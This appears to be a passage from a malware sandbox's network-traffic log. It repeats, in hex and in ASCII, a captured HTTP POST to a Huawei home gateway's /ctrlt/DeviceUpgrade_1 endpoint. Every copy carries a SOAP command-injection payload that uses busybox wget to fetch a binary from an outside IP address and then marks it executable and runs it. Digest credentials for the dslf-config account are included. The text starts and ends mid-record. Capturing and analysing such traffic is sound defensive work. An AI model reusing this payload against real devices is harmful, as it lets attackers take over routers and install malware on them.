75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:s
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 